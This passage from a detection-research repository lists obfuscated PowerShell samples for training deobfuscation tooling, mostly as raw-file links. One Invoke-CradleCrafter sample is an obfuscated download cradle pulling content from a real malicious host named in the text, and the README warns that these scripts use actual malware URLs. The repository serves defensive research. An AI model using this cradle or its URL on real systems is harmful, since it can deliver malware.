| 14 | 15 | 16 | 17 | 18 | ${_/=====\_/=\/===\} = "dc-Local","google.com","rediff.com","yahoo.com" 19 | 20 | foreach (${___/\_/\/\_/\_/=\} in ${_/=====\_/=\/===\}) { 21 | 22 | ${_/\_____/\_/=\/\/} = (Test-Connection -ComputerName ${___/\_/\/\_/\_/=\} -Count 4 | measure-Object -Property ResponseTime -Average).average 23 | ${___/==\_/\_/==\/=} = (${_/\_____/\_/=\/\/} -as [int] ) 24 | 25 | write-Host "The Average response time for" -ForegroundColor Green -NoNewline;write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IAAiACQAewBfAF8AXwAvAFwAXwAvAFwALwBcAF8ALwBcAF8ALwA9AFwAfQAiACAAaQBzACAA'))) -ForegroundColor Red -NoNewline;;Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8APQA9AFwAXwAvAFwAXwAvAD0APQBcAC8APQB9ACAAbQBzAA=='))) -ForegroundColor Black -BackgroundColor white 26 | 27 | } 28 | 29 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/ISESteroids/remotecmd.ps1: -------------------------------------------------------------------------------- 1 | function Run-RemoteCMD { 2 | 3 | param( 4 | [Parameter(Mandatory=$true,valuefrompipeline=$true)] 5 | [string]$compname) 6 | begin { 7 | ${__/\_/\__/=\/==\/} = [char]34+"powermt display dev=all"+[char]34+" > c:\temp\log.txt" 8 | [string]${__/=\/==\__/\/===} = "CMD.EXE /C " +${__/\_/\__/=\/==\/} 9 | } 10 | process { 11 | ${________/\/\_/=\/} = Invoke-WmiMethod -class Win32_process -name Create -ArgumentList (${__/=\/==\__/\/===}) -ComputerName $compname | out-null 12 | Start-sleep -s 5 13 | ${/==\_/==\/\/\_/\/}=Get-Content \\$compname\C$\temp\log.txt | Out-String 14 | Write-Output ${/==\_/==\/\/\_/\/} 15 | 16 | 17 | 18 | 19 | } 20 | End{Write-Output "Script ...END"} 21 | } -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_1.ps1: -------------------------------------------------------------------------------- 1 | $url='http://100lab.ru/logs';$wr=([System.Net.WebClient]::New());$sr=New-Object IO.StreamReader($wr.OpenRead($url));$res=($sr|ForEach-Object{(GCI Variable:\_).Value.(($_|Get-Member|?{(GCI Variable:\_).Value.Name-like'*nd'}).Name).Invoke()});$sr.Close();$res 2 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_131.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_131.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_132.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_132.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_136.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_136.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_137.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_137.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_161.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_161.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_2.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_2.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_24.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_24.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_26.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_26.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_28.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_28.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_3.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_3.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_4.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_4.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_64.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_64.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_65.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_65.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_66.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_66.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_69.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_69.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_70.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_70.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_73.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_73.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_74.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_74.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_76.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_76.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_78.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_78.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_81.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_81.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_82.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_82.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_83.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_83.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_84.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_84.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_87.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_87.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_89.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_89.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_96.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_96.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_98.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_98.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_99.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeCradleCrafter/invoke-cradlecrafter_random_99.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/3 - Get-Services - Jobs Version 1.0.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/3 - Get-Services - Jobs Version 1.0.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/AD and Mailbox and Email the info to an email from CSV.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/AD and Mailbox and Email the info to an email from CSV.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Ad_Group_Creation_in_Domain.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Ad_Group_Creation_in_Domain.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/AddImplementer2MA-V0.1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/AddImplementer2MA-V0.1.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/AddScopesAndLeases.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/AddScopesAndLeases.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/BizTalkVersionEdition.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/BizTalkVersionEdition.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/DAGReplication.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/DAGReplication.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Desktop_Management_tool.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Desktop_Management_tool.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-AllWarningsAndErrors.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-AllWarningsAndErrors.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-LastLogon.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-LastLogon.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-LinkLayerOUI.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-LinkLayerOUI.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-SPCollects.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-SPCollects.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-UptimeAsyn.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Get-UptimeAsyn.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Kerberos.psm1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Kerberos.psm1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/NTFSSecurity.Init (2).ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/NTFSSecurity.Init (2).ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/New-PSObjectFromMatches.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/New-PSObjectFromMatches.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/O365_Get-MailboxSizeInGB2.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/O365_Get-MailboxSizeInGB2.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/PSFTP.psm1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/PSFTP.psm1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/ParseLog.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/ParseLog.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/PrepopulatePasswordCacheForRODC.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/PrepopulatePasswordCacheForRODC.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/ProjectServer-MSExchange-ADPermission-AllActiveUsers.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/ProjectServer-MSExchange-ADPermission-AllActiveUsers.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/RICOH-MFP-AB.psm1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/RICOH-MFP-AB.psm1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/SPLoggingDemo.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/SPLoggingDemo.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Set-InheritablePermissionsOnProfileStore.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Set-InheritablePermissionsOnProfileStore.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Start-Stopped_service.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Start-Stopped_service.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Test-IsAdmin.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/Test-IsAdmin.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/TestFOPEAddress.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/TestFOPEAddress.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/TextFunctions.ps1: -------------------------------------------------------------------------------- 1 | Function NEw-`li`Ne([string]${stri`N`GIn}) 2 | { 3 | "-" * ${stR`iN`g`iN}."L`En`GTH" 4 | } 5 | 6 | Function G`et-teX`TsTats([string[]]${Te`x`TiN}) 7 | { 8 | ${t`Ext`iN} | .("{0}{2}{1}{3}{4}" -f 'M','re','easu','-O','bject') -Line -word -char 9 | } 10 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/monitorag.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/monitorag.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/privilegedUsersV2.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Obfuscated/InvokeObfuscation/privilegedUsersV2.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/README.txt: -------------------------------------------------------------------------------- 1 | The PowerShell scripts in this directory are taken from the PowerShell corpus of 408K+ scripts assembled by Daniel Bohannon (@danielhbohannon) and Lee Holmes (@Lee_Holmes) from public sources during the Revoke-Obfuscation research. This full corpus can be downloaded from https://aka.ms/PowerShellCorpus. 2 | 3 | The scripts in these directories were NOT written by Daniel Bohannon. As such, the author (Daniel Bohannon) does not assume responsiblity if the user executes these scripts. Most notably, the scripts located in the InvokeCradleCrafter directory were generated with the Invoke-CradleCrafter framework with actual malicious URLs taken from public malware lists for more realistic character frequency training during the Revoke-Obfuscation research, so it is definitely not advised to run any scripts in this directory. 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DevSec-Defense 2 | Accompanying PowerShell Modules & Demos for DevSec Defense Presentation 3 | 4 | **DevSec Defense: How DevOps Practices Can Drive Detection Development For Defenders** 5 | --------------------------------------------------------------------------------